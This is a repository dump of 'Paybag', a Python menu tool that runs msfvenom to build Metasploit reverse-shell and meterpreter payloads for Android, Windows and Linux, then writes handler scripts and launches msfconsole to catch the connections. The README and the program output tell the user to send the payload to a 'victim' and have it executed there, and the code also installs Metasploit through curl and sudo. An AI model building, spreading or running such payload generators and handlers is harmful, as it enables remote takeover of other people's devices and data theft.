├── requirements.txt ├── assets ├── linux │ ├── msfupdate │ ├── msfvenom │ └── msfconsole └── termux │ ├── msfconsole │ └── msfvenom ├── LICENSE ├── README.md └── paybag.py /requirements.txt: -------------------------------------------------------------------------------- 1 | prettytable 2 | distro 3 | -------------------------------------------------------------------------------- /assets/linux/msfupdate: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | exec ruby "${HOME}/metasploit-framework/msfupdate" -------------------------------------------------------------------------------- /assets/linux/msfvenom: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | exec ruby "${HOME}/metasploit-framework/msfvenom" -------------------------------------------------------------------------------- /assets/linux/msfconsole: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | exec ruby "${HOME}/metasploit-framework/msfconsole" -------------------------------------------------------------------------------- /assets/termux/msfconsole: -------------------------------------------------------------------------------- 1 | #!/data/data/com.termux/files/usr/bin/bash 2 | exec ruby "${HOME}/metasploit-framework/msfconsole" -------------------------------------------------------------------------------- /assets/termux/msfvenom: -------------------------------------------------------------------------------- 1 | #!/data/data/com.termux/files/usr/bin/bash 2 | exec ruby "${HOME}/metasploit-framework/msfvenom" -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Deadpool2000 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Paybag 2 | 3 | Create metasploit payload easily using Paybag 4 | 5 | ![Screenshot](https://user-images.githubusercontent.com/32305505/99352267-56d06400-28c8-11eb-8aa3-a7da8e85e337.jpg) 6 | 7 | 8 | # Installation 9 | 10 | ### For Linux users - 11 | sudo apt-get install python3 python3-pip net-tools 12 | 13 | git clone https://github.com/Deadpool2000/Paybag.git 14 | 15 | cd Paybag 16 | 17 | sudo pip3 install -r requirements.txt 18 | 19 | python3 paybag.py 20 | 21 | ### For Termux users - 22 | apt install python wget 23 | 24 | git clone https://github.com/Deadpool2000/Paybag.git 25 | 26 | cd Paybag 27 | 28 | pip install -r requirements.txt 29 | 30 | python paybag.py 31 | 32 | 33 | 34 | 35 | 36 | # Usage 37 | 38 | **1) Create a payload** 39 | - Create a payload by just giving LHOST and LPORT and send it to victim. 40 | 41 | **2) Start Listner** 42 | - After creating payload,send it to victim & execute it on victim machine. 43 | - After execution,Select **'Start Listner'**,select LHOST from table and enter LPORT which used while creating payload. 44 | - Now wait until a successfull connection. 45 | 46 | **3) Launch Metasploit** 47 | - Start Metasploit using **Launch Metasploit** option. 48 | 49 | ----------------------------------------------------------------------------------------------------- 50 | 51 | ### All payloads are stored in 'payload' folder. 52 | 53 | ----------------------------------------------------------------------------------------------------- 54 | 55 | ### Tested on - Ubuntu 20.04, Kali linux & Termux 56 | 57 | ----------------------------------------------------------------------------------------------------- 58 | 59 | ### If you have any issue regarding this,report an issue [here](https://github.com/Deadpool2000/Paybag/issues) 60 | 61 | 62 | ----------------------------------------------------------------------------------------------------- 63 | 64 | ## P.S. - Somebody already stole this script and even I'm not surprised ;) 65 | 66 | -------------------------------------------------------------------------------- /paybag.py: -------------------------------------------------------------------------------- 1 | # Paybag 2 | 3 | # Author - D3adpool2K 4 | 5 | # github - https://github.com/Deadpool2000 6 | 7 | import os 8 | import random 9 | import sys 10 | from prettytable import PrettyTable 11 | import distro 12 | 13 | try: 14 | os.system('clear') 15 | R='\033[91m' 16 | Y='\033[93m' 17 | G='\033[92m' 18 | CY='\033[96m' 19 | W='\033[97m' 20 | B='\033[95m' 21 | global osname 22 | 23 | 24 | def start(): 25 | print(CY+""" 26 | ____ __ 27 | / __ \____ ___ __/ /_ ____ _____ _ 28 | / /_/ / __ `/ / / / __ \/ __ `/ __ `/ 29 | / ____/ /_/ / /_/ / /_/ / /_/ / /_/ / 30 | /_/ \__,_/\__, /_.___/\__,_/\__, / 31 | /____/ /____/ 32 | """+Y+""" 33 | [--"""+R+""">"""+Y+""" v1.2 """+R+"""<"""+Y+"""--]"""+G+""" 34 | 35 | >> Payload generator for Metasploit <<"""+CY+""" 36 | ---------------------------"""+B+""" 37 | Code By -> Deadpool2000""") 38 | 39 | def main(): 40 | print(R+"""\n************************************************"""+CY+"""\n 41 | >>> Main menu"""+Y+""" 42 | 43 | 1) Create a payload 44 | 2) Start listner 45 | 3) Launch Metasploit 46 | 4) Exit\n""") 47 | 48 | def osi(): 49 | print(R+"""\n 50 | ************************************************"""+Y+""" 51 | 52 | >>> Select operating system to create payload\n"""+CY+""" 53 | 1) Android 54 | 2) Windows 55 | 3) Linux 56 | 57 | 99) Back to main menu\n""") 58 | 59 | def lst(): 60 | print(R+"""\n 61 | ************************************************"""+Y+""" 62 | 63 | >>> Select operating system to create listner\n"""+CY+""" 64 | 1) Android 65 | 2) Windows 66 | 3) Linux 67 | 68 | 99) Back to main menu\n""") 69 | 70 | def payld(): 71 | print(R+""" 72 | ************************************************"""+Y+""" 73 | 74 | >>> Select payload\n"""+CY+""" 75 | 1) windows/meterpreter/reverse_tcp 76 | 2) windows/x64/meterpreter/reverse_tcp (For 64-bit) 77 | 3) windows/vncinject/reverse_tcp 78 | 4) windows/x64/vncinject/reverse_tcp (For 64-bit) 79 | 5) windows/shell/reverse_tcp 80 | 6) windows/x64/shell/reverse_tcp (For 64-bit) 81 | 7) windows/powershell_reverse_tcp 82 | 8) windows/x64/powershell_reverse_tcp (For 64-bit) 83 | 84 | 99) Back to main menu\n""") 85 | 86 | def linux_payload(): 87 | print(R+""" 88 | ************************************************"""+Y+""" 89 | 90 | >>> Select payload\n"""+CY+""" 91 | 1) linux/x86/meterpreter/reverse_tcp 92 | 2) linux/x64/meterpreter/reverse_tcp (For 64-bit) 93 | 3) linux/x86/shell/reverse_tcp 94 | 4) linux/x64/shell/reverse_tcp (For 64-bit) 95 | 96 | 99) Back to main menu\n""") 97 | 98 | def arch1(): 99 | print(CY+"""Select Architecture -"""+R+"""1)"""+Y+""" x86"""+R+""" 2)"""+Y+""" x64""") 100 | def checkver(): 101 | if sys.version_info[0] < 3: 102 | print(Y+"Use Python 3 to run this script"+R+"!"+W) 103 | exit(0) 104 | def install(): 105 | print(Y+"\nInstalling Metasploit-framework...\n"+W) 106 | did=distro.like() 107 | did2=distro.id() 108 | print("Current Distro: "+did) 109 | os.system("sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && sudo chmod 755 msfinstall && sudo ./msfinstall") 110 | os.system("clear") 111 | 112 | def mk(): 113 | if os.path.exists("payload")==False: 114 | os.system("mkdir payload") 115 | def check(): 116 | try: 117 | os.remove('msh.rc') 118 | except FileNotFoundError: 119 | print() 120 | pth="/data/data/com.termux/files/usr/bin/bash" 121 | def check2(): 122 | if os.path.isfile(pth)==False: 123 | if os.path.isfile('/usr/bin/msfconsole')==False: 124 | print(R+""" 125 | ************************************************\n************************************************\n""" 126 | +Y+"\nmsfconsole not found ! Please install Meatsploit-Framework properly and try again :( \n"+W) 127 | p=input(CY+"Install Metasploit?"+G+" (y|n)"+R+" >>> "+W) 128 | if p=="y": 129 | install() 130 | start() 131 | mk() 132 | check() 133 | check2() 134 | 135 | main() 136 | sel() 137 | elif p=="n": 138 | print(Y+"\nExit.........! Have a nice day :) ") 139 | print(R+"\n------------"+CY+" Code by >>"+G+" Deadpool2000"+R+" ----------------------"+W) 140 | exit(0) 141 | else: 142 | print(R+"\nInvalid choice ! Leaving.......\n"+W) 143 | exit(0) 144 | exit(0) 145 | def cfile(lh,lp,ply): 146 | f=open("msh.rc","w+") 147 | l1="use exploit/multi/handler" 148 | l2="set PAYLOAD "+str(ply) 149 | l3="set LHOST "+str(lh) 150 | l4="set LPORT "+str(lp) 151 | l5="set ExitOnSession false" 152 | l6="exploit -j -z" 153 | f.write("%s\n%s\n%s\n%s\n%s\n%s\n" %(l1,l2,l3,l4,l5,l6)) 154 | f.close() 155 | return 156 | def crplyd(lh,lp,ply,osname,ext): 157 | print(B+"\nGenerating payload..........\n") 158 | a=random.randint(1,99) 159 | st1=str(osname)+str(a)+str(ext) 160 | st="msfvenom -p "+str(ply)+" lhost="+str(lh)+" lport="+str(lp)+" R > payload/"+str(st1) 161 | os.system(st) 162 | print(R+"\n>>>"+G+" Payload saved as ("+Y+st1+G+") in 'payload' folder"+R+" <<<\n") 163 | print(CY+"Now send this payload to victim. Then start 'handler' from main menu\n") 164 | return 165 | def table(): 166 | global ipd 167 | global adr 168 | tb=PrettyTable() 169 | tb.field_names=["No.","Interface","Address"] 170 | inte=os.listdir('/sys/class/net/') 171 | i=j=k=0 172 | adr=[] 173 | for i in range(len(inte)): 174 | cout=inte[i] 175 | st="ifconfig "+str(cout)+" | grep 'inet ' | cut -c 13-26" 176 | opt=os.popen(st) 177 | ipd=opt.read() 178 | cr=['n','e','t','m','a','s','k'] 179 | for l in cr: 180 | ipd=ipd.replace(l,'') 181 | ipd=ipd.strip() 182 | adr.append(ipd) 183 | tb.add_row([k,inte[i],adr[j]]) 184 | i+=1 185 | j+=1 186 | k+=1 187 | print(Y+"\n>>> Select LHOST from list\n"+W) 188 | print(tb) 189 | try: 190 | sc=int(input(G+"\nSelect your choice >>"+W+" ")) 191 | try: 192 | ipd=adr[sc] 193 | if ipd=="": 194 | print(R+"\nNull address found!Select another address!") 195 | table() 196 | else: 197 | print(CY+"\nSelected LHOST:"+W,ipd) 198 | except IndexError: 199 | print(R+"\nInvalid Choice! Please try again!") 200 | table() 201 | except ValueError: 202 | print(R+"\nInvalid Choice! Please try again!") 203 | table() 204 | def sel(): 205 | try: 206 | c=int(input(G+"Select your choice >>"+W+" ")) 207 | if c==1: 208 | def sel1(): 209 | try: 210 | ch=int(input(G+"Select your choice >>"+W+" ")) 211 | 212 | # Android 213 | 214 | if ch==1: 215 | lh=input(CY+"\nEnter LHOST:"+W+" ") 216 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 217 | ply="android/meterpreter/reverse_tcp" 218 | osname="android_" 219 | ext=".apk" 220 | crplyd(lh,lp,ply,osname,ext) 221 | osi() 222 | sel1() 223 | 224 | # Windows 225 | 226 | elif ch==2: 227 | try: 228 | payld() 229 | cc=int(input(G+"Select your choice >>"+W+" ")) 230 | if cc==1: 231 | lh=input(CY+"\nEnter LHOST:"+W+" ") 232 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 233 | ply="windows/meterpreter/reverse_tcp" 234 | osname="win_" 235 | ext=".exe" 236 | crplyd(lh,lp,ply,osname,ext) 237 | elif cc==2: 238 | lh=input(CY+"\nEnter LHOST:"+W+" ") 239 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 240 | ply="windows/x64/meterpreter/reverse_tcp" 241 | osname="win_" 242 | ext=".exe" 243 | crplyd(lh,lp,ply,osname,ext) 244 | elif cc==3: 245 | lh=input(CY+"\nEnter LHOST:"+W+" ") 246 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 247 | ply="windows/vncinject/reverse_tcp" 248 | osname="win_" 249 | ext=".exe" 250 | crplyd(lh,lp,ply,osname,ext) 251 | elif cc==4: 252 | lh=input(CY+"\nEnter LHOST:"+W+" ") 253 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 254 | ply="windows/x64/vncinject/reverse_tcp" 255 | osname="win_" 256 | ext=".exe" 257 | crplyd(lh,lp,ply,osname,ext) 258 | elif cc==5: 259 | lh=input(CY+"\nEnter LHOST:"+W+" ") 260 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 261 | ply="windows/shell/reverse_tcp" 262 | osname="win_" 263 | ext=".exe" 264 | crplyd(lh,lp,ply,osname,ext) 265 | elif cc==6: 266 | lh=input(CY+"\nEnter LHOST:"+W+" ") 267 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 268 | ply="windows/x64/shell/reverse_tcp" 269 | osname="win_" 270 | ext=".exe" 271 | crplyd(lh,lp,ply,osname,ext) 272 | elif cc==7: 273 | lh=input(CY+"\nEnter LHOST:"+W+" ") 274 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 275 | ply="windows/powershell_reverse_tcp " 276 | osname="win_" 277 | ext=".exe" 278 | crplyd(lh,lp,ply,osname,ext) 279 | elif cc==8: 280 | lh=input(CY+"\nEnter LHOST:"+W+" ") 281 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 282 | ply="windows/x64/powershell_reverse_tcp " 283 | osname="win_" 284 | ext=".exe" 285 | crplyd(lh,lp,ply,osname,ext) 286 | else: 287 | print(R+"\nInvalid Choice! Please try again!") 288 | osi() 289 | sel1() 290 | except ValueError: 291 | print(R+"\nInvalid Choice! Please try again!") 292 | osi() 293 | sel1() 294 | osi() 295 | sel1() 296 | 297 | # Linux 298 | 299 | elif ch==3: 300 | try: 301 | linux_payload() 302 | cc=int(input(G+"Select your choice >>"+W+" ")) 303 | if cc==1: 304 | lh=input(CY+"\nEnter LHOST:"+W+" ") 305 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 306 | ply="linux/x86/meterpreter/reverse_tcp" 307 | osname="linux_" 308 | ext=".elf" 309 | crplyd(lh,lp,ply,osname,ext) 310 | elif cc==2: 311 | lh=input(CY+"\nEnter LHOST:"+W+" ") 312 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 313 | ply="linux/x64/meterpreter/reverse_tcp" 314 | osname="linux_" 315 | ext=".elf" 316 | crplyd(lh,lp,ply,osname,ext) 317 | elif cc==3: 318 | lh=input(CY+"\nEnter LHOST:"+W+" ") 319 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 320 | ply="linux/x86/shell/reverse_tcp" 321 | osname="linux_" 322 | ext=".elf" 323 | crplyd(lh,lp,ply,osname,ext) 324 | elif cc==4: 325 | lh=input(CY+"\nEnter LHOST:"+W+" ") 326 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 327 | ply="linux/x64/shell/reverse_tcp" 328 | osname="linux_" 329 | ext=".elf" 330 | crplyd(lh,lp,ply,osname,ext) 331 | else: 332 | print(R+"\nInvalid Choice! Please try again!") 333 | osi() 334 | sel1() 335 | except ValueError: 336 | print(R+"\nInvalid Choice! Please try again!") 337 | osi() 338 | sel1() 339 | osi() 340 | sel1() 341 | elif ch==99: 342 | os.system('clear') 343 | start() 344 | main() 345 | sel() 346 | else: 347 | print(R+"\nInvalid Choice! Please try again\n") 348 | osi() 349 | sel1() 350 | except ValueError: 351 | print(R+"\nInvalid input ! Please try again !\n") 352 | sel1() 353 | osi() 354 | sel1() 355 | elif c==2: 356 | def sel2(): 357 | try: 358 | ch=int(input(G+"Select your choice >>"+W+" ")) 359 | if ch==1: 360 | pr=os.path.isfile("msh.rc") 361 | if pr: 362 | check() 363 | else: 364 | table() 365 | lh=ipd 366 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 367 | ply="android/meterpreter/reverse_tcp" 368 | cfile(lh,lp,ply) 369 | os.system('clear') 370 | print(Y+"\nStarting handler...............\n"+W) 371 | os.system("msfconsole -r msh.rc") 372 | os.remove('msh.rc') 373 | os.system("clear") 374 | lst() 375 | sel2() 376 | elif ch==2: 377 | try: 378 | pr=os.path.isfile('msh.rc') 379 | if pr: 380 | check() 381 | else: 382 | payld() 383 | ch=int(input(G+"Select your choice >>"+W+" ")) 384 | if ch==1: 385 | table() 386 | lh=ipd 387 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 388 | ply="windows/meterpreter/reverse_tcp" 389 | cfile(lh,lp,ply) 390 | elif ch==2: 391 | table() 392 | lh=ipd 393 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 394 | ply="windows/x64/meterpreter/reverse_tcp" 395 | cfile(lh,lp,ply) 396 | elif ch==3: 397 | table() 398 | lh=ipd 399 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 400 | ply="windows/vncinject/reverse_tcp" 401 | cfile(lh,lp,ply) 402 | elif ch==4: 403 | table() 404 | lh=ipd 405 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 406 | ply="windows/x64/vncinject/reverse_tcp" 407 | cfile(lh,lp,ply) 408 | elif ch==5: 409 | table() 410 | lh=ipd 411 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 412 | ply="windows/shell/reverse_tcp" 413 | cfile(lh,lp,ply) 414 | elif ch==6: 415 | table() 416 | lh=ipd 417 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 418 | ply="windows/x64/shell/reverse_tcp" 419 | cfile(lh,lp,ply) 420 | elif ch==7: 421 | table() 422 | lh=ipd 423 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 424 | ply="windows/powershell_reverse_tcp" 425 | cfile(lh,lp,ply) 426 | elif ch==8: 427 | table() 428 | lh=ipd 429 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 430 | ply="windows/x64/powershell_reverse_tcp" 431 | cfile(lh,lp,ply) 432 | else: 433 | print(R+"\nInvalid choice! Please try again\n") 434 | lst() 435 | sel2() 436 | os.system('clear') 437 | print(Y+"\nStarting handler...............\n"+W) 438 | os.system("msfconsole -r msh.rc") 439 | os.remove('msh.rc') 440 | os.system('clear') 441 | lst() 442 | sel2() 443 | except ValueError: 444 | print(R+"\nInvalid choice! Please try again\n") 445 | lst() 446 | sel2() 447 | elif ch==3: 448 | try: 449 | pr=os.path.isfile('msh.rc') 450 | if pr: 451 | check() 452 | else: 453 | linux_payload() 454 | ch=int(input(G+"Select your choice >>"+W+" ")) 455 | if ch==1: 456 | table() 457 | lh=ipd 458 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 459 | ply="linux/x86/meterpreter/reverse_tcp" 460 | cfile(lh,lp,ply) 461 | elif ch==2: 462 | table() 463 | lh=ipd 464 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 465 | ply="linux/x64/meterpreter/reverse_tcp" 466 | cfile(lh,lp,ply) 467 | elif ch==3: 468 | table() 469 | lh=ipd 470 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 471 | ply="linux/x86/shell/reverse_tcp" 472 | cfile(lh,lp,ply) 473 | elif ch==4: 474 | table() 475 | lh=ipd 476 | lp=int(input(CY+"Enter LPORT:"+W+" ")) 477 | ply="linux/x64/shell/reverse_tcp" 478 | cfile(lh,lp,ply) 479 | else: 480 | print(R+"\nInvalid choice! Please try again\n") 481 | lst() 482 | sel2() 483 | os.system('clear') 484 | print(Y+"\nStarting handler...............\n"+W) 485 | os.system("msfconsole -r msh.rc") 486 | os.remove('msh.rc') 487 | os.system('clear') 488 | lst() 489 | sel2() 490 | except ValueError: 491 | print(R+"\nInvalid choice! Please try again\n") 492 | lst() 493 | sel2() 494 | elif ch==99: 495 | check() 496 | os.system('clear') 497 | start() 498 | main() 499 | sel() 500 | else: 501 | check() 502 | print(R+"\nInvalid choice! Please try again\n") 503 | lst() 504 | sel2() 505 | except ValueError: 506 | print(R+"\nInvalid input ! Please try again !\n") 507 | sel2() 508 | lst() 509 | sel2() 510 | elif c==3: 511 | os.system('clear') 512 | print(Y+"\n>>> Launching msfconsole..................\n\n"+W) 513 | os.system("msfconsole") 514 | os.system('clear') 515 | start() 516 | main() 517 | sel() 518 | elif c==4: 519 | check() 520 | print(R+"************************************************") 521 | print(Y+"\nExit.........! Have a nice day :) ") 522 | print(R+"\n------------"+CY+" Code by >> "+G+" Deadpool2000"+R+" ----------------------"+W) 523 | print(R+"------------"+CY+" Youtube >> "+G+" https://bit.ly/2HnPZd2"+R+" ------------\n"+W) 524 | else: 525 | check() 526 | print(R+"\nInvalid choice ! Please try again :(\n") 527 | main() 528 | sel() 529 | except ValueError: 530 | print(R+"\nInvalid input ! Please try again!\n") 531 | sel() 532 | def ch3(): 533 | if os.path.isfile(pth)==True: 534 | if os.path.isfile('/data/data/com.termux/files/usr/bin/msfvenom')==False: 535 | print(R+""" 536 | ************************************************\n""" 537 | +Y+"""\nmsfconsole and msfvenom not found in '/data/data/com.termux/files/usr/bin/'\n""") 538 | p=input(CY+"Install Metasploit in Termux ?"+G+" (y|n)"+R+" >>> "+W) 539 | if p=="y": 540 | ver="6.4.17" 541 | os.system("apt install -y ruby wget apr apr-util libiconv zlib autoconf bison clang coreutils curl findutils git libffi libgmp libpcap postgresql readline libsqlite openssl libtool libxml2 libxslt ncurses pkg-config make libgrpc termux-tools ncurses-utils ncurses tar termux-elf-cleaner unzip zip") 542 | lk="wget -O msf.tar.gz https://github.com/rapid7/metasploit-framework/archive/"+ver+".tar.gz" 543 | os.system(str(lk)) 544 | os.system("mv msf.tar.gz $HOME") 545 | os.system("tar -xvf $HOME/msf.tar.gz && mv metasploit-framework-"+ver+" $HOME/metasploit-framework && rm $HOME/msf.tar.gz") 546 | os.system("gem install --no-document --verbose rubygems-update && update_rubygems") 547 | os.system("gem install bundler && bundle config build.nokogiri --use-system-libraries && cd $HOME/metasploit-framework && bundle install") 548 | os.system("cp assets/termux/msfconsole $PREFIX/bin/ && cp assets/termux/msfvenom $PREFIX/bin/") 549 | os.system("chmod +x $PREFIX/bin/msfconsole") 550 | os.system("chmod +x $PREFIX/bin/msfvenom") 551 | os.system('clear') 552 | checkver() 553 | start() 554 | mk() 555 | check() 556 | check2() 557 | 558 | main() 559 | sel() 560 | elif p=="n": 561 | print(Y+"\nExit.........! Have a nice day :) ") 562 | print(R+"\n------------"+CY+" Code by >>"+G+" Deadpool2000"+R+" ----------------------"+W) 563 | print(R+"------------"+CY+" Youtube >>"+G+" https://bit.ly/2HnPZd2"+R+" ------------\n"+W) 564 | exit(0) 565 | else: 566 | print(R+"\nInvalid choice ! Leaving.......\n"+W) 567 | exit(0) 568 | checkver() 569 | start() 570 | mk() 571 | check() 572 | check2() 573 | #ch3 574 | main() 575 | sel() 576 | except KeyboardInterrupt: 577 | check() 578 | print(CY+"""\n 579 | ************************************************"""+G+ 580 | "\n\n>>> "+R+"Interrupted!"+Y+" Exiting.........\n"+W) 581 | print(R+"\n------------"+CY+" Code by >> "+G+" Deadpool2000"+R+" ----------------------"+W) 582 | print(R+"------------"+CY+" Youtube >> "+G+" https://bit.ly/2HnPZd2"+R+" ------------\n"+W) 583 | --------------------------------------------------------------------------------